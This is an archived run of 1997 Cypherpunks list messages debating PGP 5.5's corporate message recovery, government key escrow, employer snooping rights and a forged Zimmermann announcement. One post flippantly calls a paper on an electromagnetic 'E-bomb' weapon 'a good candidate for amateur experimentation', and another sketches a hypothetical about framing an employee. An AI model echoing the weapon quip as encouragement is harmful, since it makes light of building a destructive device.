-----BEGIN PGP SIGNED MESSAGE-----

In <slrn6518rn.17j.lutz@taranis.iks-jena.de>, on 10/24/97 
   at 01:32 PM, lutz@taranis.iks-jena.de (Lutz Donnerhacke) said:

>* William H. Geiger III wrote:
>>I am not quite sure what your point is here. A company has every right to
>>listen in on any phone conversation you make on their phones. There is no
>>"expectation of privacy". Many companies have strict guidlines on how you

>May be in your (poor) country. There is a world outside US.

Lets not be throwing nationalistic stones here as your country has plenty
of dirty laundry too.

Here we have what is know as "property rights". The owner of property is
the one who determines how it will be used. It is really quite simple and
quite basic. Now I know that some of our socialist friends here and abroad
think that through the power of the STATE they have a right to tell others
how to live there lives this bankrupt philosophy has been rejected by most
on this list.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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UgK37t/sxwa0L5JthJLASxBoDtuJWrvN/sCaEp1Nk32YXzyQgt+LVwQ3incIZ5f/
YIQbnHM5/dRdUfs+BmTdyStUW9yRxb49l0yFfcNPlR70qmn2jYBPkkZqspqBtKNl
clN98oOoVUU=
=pW5+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Sat, 25 Oct 1997 00:37:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP Employee on MKR
Message-ID: <877710384.5611.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:

>Words fail me. This is completely idiotic.

Indeed. It's just as idiotic as people being killed for receiving encrypted
mail in Iraq. It is, however, just as possible, and anyone who believes the
contrary obviously hasn't worked for a big company before; I've seen them
do far, far, more idiotic things in the past.

   Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Sat, 25 Oct 1997 00:57:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP Employee on MKR
Message-ID: <877711665.8054.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain




>Gee, Mark, I thought it was the SMTP filter that did the enforcing. 
>Maybe if PGP didn't call it "CMR" but instead called it something 
>neutral like the "key link field".

Duh, without the 'mandatory voluntary' encryption to multiple keys, the
enforcer couldn't work. Sure, the Feds could say 'encrypt to the FBI key
or else', but users wouldn't be able to do so automatically without 
getting scripts to do so and the revolt would be too large for even the
FBI to handle. It must be done automatically in the software, or it won't
work.

>Let's see, your scenario involves putting super sniffers at strategic
>positions throughout the net, and passing laws that not only supports
>this, but makes it illegal to go around them. I suggest that if such
>laws are passed PGP's software is the least of your problems.

How is this significantly different from mandatory wiretap access laws
which already exist? Since it only requires action on the part of
Internet providers, it's not going to raise the kind of outcry that
other more widespread laws would create.

>To make it plain, Mark, I "explain it away" this way: fundametally, 
>your scenario assumes what it is trying to prove -- you assume that 
>incredibly draconian laws are in place, 

Incredibly draconian? In what sense? Having to set a bit in your generated
PGP keys? It certainly would be draconian if the FBI passed such a law
today and required everyone to dump their software in favor of new, 
GMR-enabled software, but all new copies of PGP are already GMR-enabled. 
In fact, the FBI could probably stage a public relations coup by giving
away free copies of PGP to anyone who asked.

Draconian would be coming around to your house and taking your keys by
force. Draconian is not merely enabling an option which your software
currently supports. The whole point of not wanting PGP to ship this
system is that it would allow the FBI to snoop *without* truly draconian
laws. Without the current CMR system the FBI would have to force everyone
to change to new software; deployment wins.

As I said, 'don't worry, it won't happen, be happy'. Nothing new.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 25 Oct 1997 01:17:33 +0800
To: cypherpunks@cyberpass.net
Subject: IW resources
Message-ID: <v03102802b0767c431b80@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



I was cleaning up my HD when I came across a 43 page PowerPoint presentation by Carlo Kopp called "The E-bomb - A Weapon of Electrical Mass Destruction."  It contains a good amount of technology, use and threat assessment data for this sort of EW device.  Very professional.  It was given at IWC-V 1996.  A good candidate for amateur experimentation ;-)

A little alta-vista search brought up Kopp's home page (with links to the above paper) and a wealth of related material, in particular http://www.au.af.mil/au/2025, the Austrailian Air Forces Year 2025 look in to the future,  with a link to http://www.xp.hq.af.mil/xpx, the US Air Force's Strategic Planning Directorate. Very good IW reading.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apache@bear.apana.org.au
Date: Fri, 24 Oct 1997 08:39:04 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199710240024.KAA05856@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



WARNING: Bad signature, doesn't match file contents!

Bad signature from user "Monty Cantsin".
Signature made 1997/10/23 19:43 GMT using 2047-bit key, key ID 
A6447FF9

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Declan McCullagh wrote:
> >A friend of mine by the name of Jason Bobier <jason@pgp.com> happens
> >to work at PGP, Inc.  I'll preface his comments by pointing out that
> >I'm sure he doesn't speak for the company in any way.
[...]
> I'm sure most PGP, Inc. employees would reject the "We had to destroy
> the village to save it" line of thinking if it were found in any other
> context.
> 
> Monty Cantsin
> Editor in Chief
> Smile Magazine
> http://www.neoism.org/squares/smile_index.html
> http://www.neoism.org/squares/cantsin_10.htm
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> 
> iQEVAwUBNE+ow5aWtjSmRH/5AQFsWAf+LWjZNCdR6jdAsffX4PR6KLhX8W+V4jkQ
> J6odSQNpStVkFhPtcByG+AWaPQLmKxlwVKcO44pQVhTIDhMUlFniSnYtQ/zq+6RF
> aeqNG7WLE/58g9Pgh78iBOfJ4wKLi/U5dzpdDX1Ua86B8uzcGKVGTerbN6QoFwH2
> aOd2tytomYWmFQeMdguN43Ak9hP+ruA1dcqrlZjRPhEBhBJOfbYLSYt3GPDn6Cqq
> jTL/Ui3fu4KHcK8zGgVnXVwQNL0XubBhQmTZ54ohxywejt1A2Q4g4sh0oxvSCEDY
> giqk4uElp5an7K+N1tY+vExvkjdRkjsAQEtFAgp4fzHozbS5jNXBWA==
> =FFl7
> -----END PGP SIGNATURE-----
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 25 Oct 1997 01:30:52 +0800
To: whgiii@invweb.net
Subject: GMR in the talked-about form here would be unconstitutional
In-Reply-To: <877698834.17691.193.133.230.33@unicorn.com>
Message-ID: <v03102807b07688340782@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I agree that draconian crypto laws are afoot, but I don't discount the
power of constitutional challenges.

At 6:13 AM -0700 10/24/97, mark@unicorn.com wrote:

>Really? Read the message I sent after that one. Let's suppose it's 2007,
>PGP have 99% of the crypto market. CMR compatibility is incorporated into
>all their products.
>
>The FBI announce that from today all Internet providers must support PGP
>SMTP enforcers on all mail passing across their links, and block all other
>SMTP connections. Regardless of whether your mail is spooled on your ISP's
>hard disk, it will always pass through their link. All encrypted mail must
>now be encrypted to the FBI's key as well as the end user's key or it will
>bounce.

So,

- the client who communicates with his lawyer must encrypt to the
government's key, allowing the government to read the traffic at any time

- the penitent who confesses electronically (such services already exist)
will be confessing to the government

- a patient and doctor who discuss private medical conditions will be
discussing them with the Thought Police

- a confidential source who reveals information to a journalist will also
be revealing it to the government

And so on, for the usual laundry list of problems with warrantless searches
and widespread surveillance. These are just some of the most
readily-understandable problems.

Will a "must encrypt to government key" provision pass constitutional
muster? I don't think so.

So long as the First and Fourth (and the Fifth may apply, too) Amendments
remain in force, compelling a person to speak in certain ways and
monitoring what he says privately without a proper court order is
unconstitutional.

At least the convoluted stuff in Clipper about "LEAF" fields, splitting of
keys between agencies, proper court orders, etc., had the "fig LEAF" of
protecting some basic constitutional rights. A straight "encrypt to the
government's key" is too crude to withstand any court scrutiny.

I'm obviously not a lawyer, let alone a constitutional scholar, but I think
I'm solid footing here.  A crude, blanket order to include the government
in all communications would absolutely be struck down as a chilling of
speech (political or otherwise) and as an unlawful search and seizure of
one's papers.

In other nations, ignore the above analysis.

--Tim May




>
>So, tell me why "much more needs to be done". Tell me again why this
>can't be implemented. The only reason it *can* be implemented is that
>PGP build the feature into their software.
>
>> Not to mention that *ANY* crypto system can be turned into GAK if
>> the FBI & NSA get congress to pass the laws that they want.
>
>Yes, but PGP WANT TO BUILD THIS INTO EVERY SYSTEM THEY SELL!!!!! I don't
>care that any Perl hacker can write a script which builds CMR into PGP
>2.6.2, because those scripts are restricted to those who wish to use
>them. PGP ARE BUILDING THE FUNCTIONALITY INTO EVERY PRODUCT THEY SELL!!!!
>
>How hard is this to grasp?
>
>> What PGP Inc. did was provide what their *customers* , you know the ones
>> that pay their bills and keep them in business, wanted in a timely fashion
>> with little modification to their current code while circumventing some of
>> the more draconian requests.
>
>Really? Did their customers ask specifically for PGP's flawed CMR
>implementation, or did they actually say things like 'Well, we want to
>be able to recover mail if someone dies or leaves the company'? If it's
>the latter, don't you think that PGP should take responsibility for
>implementing it in such a GAK-friendly way?
>
>You seem be repeating the other pro-PGP mantra 'oh, you're not thinking
>of the company's point of view'. I certainly am, which is why I want to
>see that they get the best, most secure system without any GAK-friendly
>features.
>
>Here's a quick example of how cool CMR is... let's suppose that
>loser@foo-bah.com upsets a customer and is working for a CMR corporation.
>Mr Irate Customer downloads some of that kiddie porn that we're told is
>all over the Net, and encrypts it to loser@foo-bah.com, but doesn't
>encrypt it to the company key. Mr Irate Customer mails hundreds of these
>images to loser@foo-bah.com. Their system bounces them. The security
>personnel at foo-bah.com notice all these bounces and snarf some of the
>messages.
>
>The security personell take these messages to Mr Loser, and force him to
>decrypt them. Shock, horror, what a hideous, insane pervert Mr Loser must
>be to be receiving all these messages. Mr Loser is handed over to the cops
>and taken away. He might not go to jail, but he'll lose his job.
>
>With a more rational implementation Mr Loser would receive the messages
>and see that they're obscene, and immediately report them to the security
>personnel who could track down the sender. But when the security personnel
>find them first, they immediately assume that Mr Loser asked for them.
>
>Now, if you want to be able to get people sacked, this is cool. If you
>work for a company with CMR, this is really bad. It is also unneccesary.
>
>> >These are the important questions we should be asking and noone on the
>> >pro-PGP side seems interested in answering them. Why?
>>
>> They have been answered time and time again, you just have not been
>> interested in listening.
>
>They have not. All we've heard are 'oh, don't worry, it can't happen,
>be happy' assurances with no basis in fact. Is it any wonder we aren't
>listening?
>
>> If this is such a life and death issue why don't you and some of the other
>> Cypherpunks Philosopher Kings get off your armchair quarterbacking write,
>> test, debug, and *market* your superior system??
>
>Duh, because PGP has name recognition, and because by the time it was
>finished they'd already have a large part of the market. But note: I'll
>be very surprised if PGP CMR gets into the OpenPGP spec. Which means that
>any other compliant implementation of PGP will not be compatible with
>CMR.
>
>> Perhaps because the majority of the "PGP Inc is evil" crowd
>> here couldn't make a buck in the business world if their lives depended on
>> it.
>
>Oh sure, ad hominem, ad hominem. What the hell do you think I do all
>day? Why the hell do you think I'm spending so much time trying to show
>people what CMR's problems are when I could be making money?
>
>> I also find it interesting how there is "much weeping gnashing of teeth"
>> over PGP 5.5 , which does nothing that couldn't be done with 2.6, while
>> Netscape, RSA and the S/MIME crowd put weak crypto on every desktop??
>
>Better weak crypto than GAK. Key-lengths can be increased, government
>surveillance infrastructure cannot easily be removed.
>
>    Mark


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Sat, 25 Oct 1997 02:28:01 +0800
To: whgiii@invweb.net
Subject: Re: PGP Employee on MKR
Message-ID: <877714803.13910.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



whgiii@invweb.net wrote:

> There is a simple solution to that don't work for one if you don't like
> their policies.

I agree; that's why I don't. But I see an inconsistency here. PGP keep
telling us that CMR isn't so bad because you can work around it, or
superencrypt, or otherwise avoid the company's right to snoop on all
communications. Yet you, who believe in this right, support CMR, which
can be used to defeat that right, over simple escrow of employee's 
corporate communication keys. Why?

Again, I'm not saying that the companies have no such right. Personally
I'd rather escrow my corporate key than see widespread CMR in its current
form.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:45:15 +0800
To: jseiger@cdt.org
Subject: Re: puff pieces vs tough crypto issues (Re: Singapore TOILET ALERT)
In-Reply-To: <v0310280db073ee3bc480@[207.226.3.4]>
Message-ID: <199710240956.KAA01225@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jonah Seiger <jseiger@cdt.org> writes:
> While I suspect that new key recovery or CMR products may create some new
> traction for supporters of mandatory GAK, PGP 5.5 is not the first example
> of such a product (TIS has been marketing key recovery products for a
> while).

PGP has stated that their corporate user requirement is recovery of
stored data.  This can be easily be acheived by escrowing storage
keys, or other stored data recovery methods.  That includes sent and
received email archives.

CMR seems more functionally suited to wire-tapping or corporate
snooping.  PGP denies that this is a design decision.  PGP states that
they want to make a system which is hard for governments to abuse as
the basis of mandatory GAK.

If we accept those denials, the CMR design does not meet it's design
well.  It sends recovery information with the communication, which is
both a bad security practice, and easy for government to abuse.

Please read:

	http://www.dcs.ex.ac.uk/~aba/cdr/

for an example of a storage key recovery design for data recovery
which is more resilient to government abuse.

> More importantly though, the Blaze et al study
> (http://www.crypto.com/key_study) did not say that key recovery/key escrow
> systems can't be built.  It said that such systems designed to meet law
> enforcement specifications (24/7 real time access, the infrastructure for
> key exchanges, and security considerations necessary for such a system to
> function) are beyond the scope of the field and would create significant
> vulnerabilities in the network.
> 
> This is an important distinction.

That study was talking about the design problems in centralised key
escrow.  PGP Inc's design means that these design problems are
bypassed; the CMR design (if/when it gets abused by government to
become a "GMR" design) means that the NSA can publish a GMR master key
on their web page today, and that Clinton can pass the presidential
decree tomorrow.

Some have argued, that you _could_ build a similar system with pgp2.x
using it's multiple recipients feature.  I agree, you could.

However that is no excuse to go and build such a system!  It is much
less dangerous to build CDR systems; much less dangerous to build systems
which are able to recover only data stored on disk.

> So far, Soloman, the FBI, nor other mandatory GAK supporters have said that
> PGP 5.5 or other key recovery products on the market today solve their
> so-called 'problems'.  I don't really expect them to. They seem to want
> much much more.

All that they want is possible with pgp5.5, or will be with pgp6.0,
and backwards compatibility is already in place in 5.5 (and perhaps
5.0, tho' this compatibility seems to be hard to get anyone to clarify).

Another claim is that the CMR system is easy to by pass, and therefore
it is privacy friendly.

I'm not sure this argument amounts to much, because clipper was also
easy to by pass.  Unless you're using steganography, the government
could detect the bypass, and then the GAK system becomes just another
one of those laws that the die-hards break, but which can translate
into 10 years jail time if you get caught, or if the government
decides you need knocking down a peg or two.

I would have thought if any one understood this, it would have been
Phil Zimmermann, after his Federal investigation.

Really, if you are familiar with the clipper design, PGP Inc's CMR is a very
related design, it is almost exactly clipper implemented in software.

The design allows for multiple "message recovery" keys, or it allows for one
single centralised one (belonging to the NSA, if the NSA has their way).

The Blaze et al report you are quoting just says that having a single
central recovery key is an incredible security risk.  It also says that
managing many frequently changing recovery keys centrally is also complex.

The NSA still seemed to think it worth the risk with the clipper design,
because they figured they could keep the key recovery database locked up
well enough to prevent another Ames selling it to the Russians, or whoever.

PGP 5.5 is clipper written in software.  Yes it can be bypassed, yes the
software has privacy options which make the recovery option optional; it
also has installation options to make it non-optional; by passing the
non-optional version can be detected by a corporate or government snoop.

Corporate snoops are yucky but they are much less ominous than government
snoops.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Sat, 25 Oct 1997 02:56:22 +0800
To: tcmay@got.net
Subject: Re: GMR in the talked-about form here would be unconstitutional
Message-ID: <877715904.15749.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



tcmay@got.net wrote:
 
> I agree that draconian crypto laws are afoot, but I don't discount the
> power of constitutional challenges.

That's probably true: that it's unconstitutional is almost certainly true,
that it would be overturned seems less certain.

The question is, is that grounds for complacency? I'd rather see people use
technology which can't be used against them than hope that such laws would
be overturned.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Philip Zimmermann <prz@pgp.com>
Date: Sat, 25 Oct 1997 02:12:59 +0800
To: Randall Farmer <rfarmer@HiWAAY.net>
Subject: Re: PRZ Announcement
In-Reply-To: <344FEE15.673F@pgp.com>
Message-ID: <v03007802b07692bd74f3@[205.180.136.41]>
MIME-Version: 1.0
Content-Type: text/plain



My name is spelled Philip, not Phillip.  --prz

At 8:44 PM -0500 10/23/97, Randall Farmer wrote:
>On Thu, 23 Oct 1997, there's no way in nine hells that Phillip R. Zimmermann
>could have wrote:
>...
>>   However, I have reassessed my views of who truly has a right
>> to control access to privacy and have come to the conclusion
>> that privacy is too important an issue to be left in the hands
>> of the individual, with the obvious potential for misuse.
>
>Hmm...I haven't checked any signatures or headers yet, but something tells me
>that this ain't PRZ. For example, the Organization: header refers to Orwell's
>1984 as a "blueprint"...forget the signatures (just got a message saying they
>match -- either that person's lying, "they" cracked his key, or it's some
>detail that has the program using a different key/ignoring some text), it is
>psychologically impossible for someone to go from privacy advocate to
>1984-as-a-blueprint that quick.
>
>---------------------------------------------------------------------------
>Randall Farmer
>    rfarmer@hiwaay.net
>    http://hiwaay.net/~rfarmer







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Philip Zimmermann <prz@pgp.com>
Date: Sat, 25 Oct 1997 02:19:46 +0800
To: Randall Farmer <rfarmer@HiWAAY.net>
Subject: Re: PRZ Announcement
In-Reply-To: <344FEE15.673F@pgp.com>
Message-ID: <v03007803b07693549878@[205.180.136.41]>
MIME-Version: 1.0
Content-Type: text/plain



In my last message to this list, I pointed out that my name is spelled
Philip.  I neglected to point out that I also did not write the message
allegedly from me (or from Phillip).  This is why that for signed messages, 
we need to make sure that the signing key is properly signed by trusted 
introducers.  --prz

At 8:44 PM -0500 10/23/97, Randall Farmer wrote:
>On Thu, 23 Oct 1997, there's no way in nine hells that Phillip R. Zimmermann
>could have wrote:
>...
>>   However, I have reassessed my views of who truly has a right
>> to control access to privacy and have come to the conclusion
>> that privacy is too important an issue to be left in the hands
>> of the individual, with the obvious potential for misuse.
>
>Hmm...I haven't checked any signatures or headers yet, but something tells me
>that this ain't PRZ. For example, the Organization: header refers to Orwell's
>1984 as a "blueprint"...forget the signatures (just got a message saying they
>match -- either that person's lying, "they" cracked his key, or it's some
>detail that has the program using a different key/ignoring some text), it is
>psychologically impossible for someone to go from privacy advocate to
>1984-as-a-blueprint that quick.
>
>---------------------------------------------------------------------------
>Randall Farmer
>    rfarmer@hiwaay.net
>    http://hiwaay.net/~rfarmer







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apache@bear.apana.org.au
Date: Fri, 24 Oct 1997 09:47:17 +0800
To: cypherpunks@cyberpass.net
Subject: wombat
Message-ID: <199710240120.LAA06249@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


LOL

ur a crazy wombat



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNE/3zXawhvoxf0r9AQFzVgf/XfZDuyJxaHPIPdV5mYGYryPnXC8B8rgI
EjIkuuipwUeQHH5uO4XKxvEP7gwfM0grUbXn9qJeF7izAZ+xxp6ZrbcLdDbzQAhM
JwL6/rvQ+SovNSK7IpwdMPu/im3g+4GGHxTdo7fw1GEz6r+KLnVtcyHyeJbTDAIg
oa1uHXLkFsk6yY4XCAhqL+85a8TYXeNTEb17ufl/S8Vo2wiw4AOmlCZME11rEqNB
ou5+Jo1nk7TDakBxcEPwqnhvrvSGIMNv58wTpKdAkAxzn7NPW3o6ON6MhAbR1Kd8
VeVF3V9j6+a4QYrc9P1s8sg1Ba1Z3B6+MOCkCEpzLH77r0f4Hv8Yxg==
=tNny
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Fri, 24 Oct 1997 17:59:58 +0800
To: cypherpunks@toad.com
Subject: spoofing as performance art
Message-ID: <199710240941.LAA00264@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



Tim C. May allegedly typed something like:
>
> There's something about the Cypherpunks list that causes some people to
> decide it would be a kewl act of performance art to disrupt it, distract
> it, stalk it, and mailbomb it.
> 
> And complaining never helps...it only stimulates their performance art juices.


Hey, the jokes from Anonymous(ses) and Dmitri M. Vulis are the
only reason I _read_ cpunks anymore!  Oh yeah-- and that 
hilarious spoof about PGP, Inc. putting GAK-friendly features
into their product.  It's so funny that people fall for that
old "PGP is in with the government" gag every time it comes
around.


Also, I'm looking for a job, I think.  Or else a good 
university to go to.


But mostly I'm just reading the hilarious Anonymous posts and 
spoofs.


Regards,

Zooko





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 25 Oct 1997 01:11:30 +0800
To: mark@unicorn.com
Subject: Re: PGP Employee on MKR
In-Reply-To: <877710384.5611.193.133.230.33@unicorn.com>
Message-ID: <199710241704.NAA08550@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <877710384.5611.193.133.230.33@unicorn.com>, on 10/24/97 
   at 09:26 AM, mark@unicorn.com said:

>Kent Crispin wrote:

>>Words fail me. This is completely idiotic.

>Indeed. It's just as idiotic as people being killed for receiving
>encrypted mail in Iraq. It is, however, just as possible, and anyone who
>believes the contrary obviously hasn't worked for a big company before;
>I've seen them do far, far, more idiotic things in the past.

There is a simple solution to that don't work for one if you don't like
their policies.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNFDV1I9Co1n+aLhhAQHT/AP/cgh6f5TK0mMR5fI4CGjJe3HRJNK5Xshi
bfl1GyCwH3tS5y7P/Wf3G57gA3yk8nEz6YLtyVB+ocdOD8xqL3Ot948bqcu8aaLW
VYKnSVmytt0nvC4U4z7VwepBZnD4TLqYIKxi5lwXiBZa+tvLMZoDNrWTds5+BiJk
khqV19F0xy0=
=o0cl
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John  W. Noerenberg" <jwn2@qualcomm.com>
Date: Sat, 25 Oct 1997 03:55:52 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: PGP Employee on MKR
In-Reply-To: <877607187.26935.193.133.230.33@unicorn.com>
Message-ID: <v04001f0eb076a26819ae@[129.46.85.108]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:49 PM +0200 10/23/97, Lucky Green wrote:
>I have watched this silly debate for some time now. PGP pulled an awsome
>hack on corporate America, bringing strong crypto to thousands of
>corporate drones,  while Cypherpunks, the crypto elite, seems incapable of
>reponding with anything other than to engage in frenzied mutual
>masturbation fueld by GAK fantasies.

Well said, Lucky.

The next step to gaining the wide-spread and richly deserved acceptance
that should be PGP's fate is to certify it as a recognized, codified, and
testable method for using strong crypto.  That is what the IETF effort is
all about.

Remember the IETF is devoted to enabling anyone, anywhere who possess the
wit, perserverance and means to communicate over digital networks to do so.
As we are all aware, that means having the ability to do it privately and
securely.  That is way the standardization effort in the IETF is so
fundamentally important.  No other standards body has the world-wide
breadth nor the commitment to the individual's right to use and develop
computer technology than the IETF.  It is our best shot to make PGP a
standard.

We can't afford to blow it.

best,

john  w noerenberg, ii
jwn2@qualcomm.com
pager: jwn2@pager.qualcomm.com
 --------------------------------------------------------------------
  "A beautiful idea has a much greater chance of being a correct idea
   than an ugly one."
 -- Roger Penrose, "The Emperor's New Mind", 1989
 --------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Sat, 25 Oct 1997 01:38:44 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: RE: PGP Employee on MKR
Message-ID: <2328C77FF9F2D011AE970000F84104A74933D0@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



>> Not to mention that *ANY* crypto system can be turned into GAK if
>> the FBI & NSA get congress to pass the laws that they want.
>
>Yes, but PGP WANT TO BUILD THIS INTO EVERY SYSTEM THEY SELL!!!!! I
don't
>care that any Perl hacker can write a script which builds CMR into PGP
>2.6.2, because those scripts are restricted to those who wish to use
>them. PGP ARE BUILDING THE FUNCTIONALITY INTO EVERY PRODUCT THEY
SELL!!!!

But the changes to add GAK/GMR/CMR to PGP (or any other crypto product
that permits multiple recipients) are close to trivial.  Don't be fooled
into thinking that if PGP takes this "feature" out (can't be a bug --
it's documented :) that that will make it a lot harder to add that
feature back in once the appropriate laws are passed.

Still, in retrospect, PGP's engineers and scientists should have thought
about all the security implications of CMR -- they might have
implemented CDR to begin with.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 24 Oct 1997 23:48:01 +0800
To: declan@well.com
Subject: Re: puff pieces vs tough crypto issues (Re: Singapore TOILET  ALERT)
In-Reply-To: <v0300780eb073f3f9431f@[168.161.105.141]>
Message-ID: <199710241155.MAA01293@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Declan McCullagh <declan@well.com> writes:
> >More importantly though, the Blaze et al study
> >(http://www.crypto.com/key_study) did not say that key recovery/key escrow
> >systems can't be built.
> 
> In fact it said: "Building the secure infrastructure of the breathtaking
> scale and complexity that would be required for such a scheme is beyond the
> experience and current competency of the field." Sounds like "can't be
> built" to me.

They are right: it can't be built securely.  But that's not what the
NSA et al are saying, they are saying we can build it if you trust us
not to divulge the keys.  Clearly they can.  Also clearly we don't
trust them.  The Ames syndrome dictates that sooner or later someone
will sell the database or government master key.

pgp5.5 or 6.0 when it comes out, are viable for such purposes.  Quite
similar to clipper: all you need is for the NSA to publish a public
key, and for Clinton to pass a presidential decree that all companies
using (the yet to be released) pgp6.0 should add that key to the list
of CMR recipients.

People sticking up for CMR (Lucky, Jon Callas, others) say: but you
can by pass it.  I say so what.  You could by pass clipper too, it
still didn't make it a good idea.  You can be detected when you by
pass it.  With stiff penalties for companies or individuals for by
passing, and the chance of detection, it sounds viable to me.

> >So far, Soloman, the FBI, nor other mandatory GAK supporters have said that
> >PGP 5.5 or other key recovery products on the market today solve their
> >so-called 'problems'.  I don't really expect them to. They seem to want
> >much much more.
> 
> I agree that PGP 5.5 doesn't meet the FBI's demand for realtime access. 

Why do you think it doesn't meet their demand for real-time access?

pgp5.5 supports multiple CMR fields attached to userids on the key.
So in a company scenario, that would mean that before the presidential
decree, the listed CMR key would be: snoopy@acme.com.  After the
presidential decree, they would have to list two extra crypto
recipients: snoopy@acme.com, and thoughtpolice@nsa.gov.

I think that pgp6.0 (or whatever it will be called) when it is
released will allow keys to have multiple CMR key requests attached to
userids.  This will enable it for real.  (pgp5.5 as far as I can
understand only provides support in the GUI for adding one CMR key
request per userid).  pgp5.5 already supports multiple CMR key
requests per userid in that it knows how to reply to them.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Fri, 24 Oct 1997 21:12:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CMR versus GAK?
In-Reply-To: <199710241222.IAA05621@users.invweb.net>
Message-ID: <slrn65170k.16c.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* William H. Geiger III wrote:
>documents. This is the distinction between corporate access to plain text
>and GAK. The company *owns* the documents. They have a right to read them
>any time they want. If you don't want your *private* corrospondance to be

The company *owns* all telephon calls mad from an to there office. So they
have a right to wiretrap and record all phone calls you does from the
company. If you don't want your *private* corrospondance be wiretraped and
